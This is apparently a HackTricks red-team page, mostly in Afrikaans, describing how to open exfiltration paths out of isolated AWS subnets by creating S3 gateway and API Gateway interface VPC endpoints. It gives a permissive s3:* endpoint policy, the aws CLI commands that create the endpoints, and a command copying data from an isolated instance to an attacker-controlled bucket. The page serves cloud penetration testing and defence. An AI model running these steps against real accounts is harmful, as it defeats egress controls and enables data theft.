AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Opsomming

Hierdie tegniek misbruik VPC Endpoints om exfiltration channels te skep vanaf subnets sonder Internet Gateways of NAT. Gateway endpoints (bv. S3) voeg prefix‑list routes by die subnet route tables; Interface endpoints (bv. execute-api, secretsmanager, ssm, ens.) skep bereikbare ENIs met private IPs wat deur security groups beskerm word. Met minimale VPC/EC2-permissies kan ’n aanvaller beheerde egress moontlik maak wat nie deur die openbare Internet gaan nie.

Prereqs: bestaande VPC en private subnets (geen IGW/NAT). Jy sal permissies nodig hê om VPC endpoints te skep en, vir Opsie B, ’n security group om aan die endpoint ENIs te koppel.

Opsie A – S3 Gateway VPC Endpoint

Veranderlikes

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. Create a permissive endpoint policy file (optional). Save as allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. Skep die S3 Gateway-eindpunt (voeg S3 prefix‑list-roete by die geselekteerde roete-tabelle):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

Bewyse om vas te vang:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS wys ’n roete na die AWS S3 prefix list (bv., DestinationPrefixListId=pl-..., GatewayId=vpce-...).
  • Vanaf ’n instance in daardie subnets (met IAM regte) kan jy exfil via S3 sonder Internet:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Opsie B – Interface VPC Endpoint vir API Gateway (execute-api)

Veranderlikes

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. Skep die interface-endpoint en heg die SG aan:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

Bewyse om vas te lê:

  • aws ec2 describe-vpc-endpoints wys die endpoint in die available staat met NetworkInterfaceIds (ENIs in jou subnets).
  • Instances in daardie subnets kan Private API Gateway endpoints bereik deur daardie VPCE ENIs (geen Internet-pad benodig nie).

Impak

  • Omseil perimeter egress-beheer deur gebruik te maak van AWS‑beheerde private paaie na AWS-dienste.
  • Maak data exfiltration vanaf geïsoleerde subnets moontlik (bv. skryf na S3; aanroep Private API Gateway; bereik Secrets Manager/SSM/STS, ens.) sonder IGW/NAT.

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks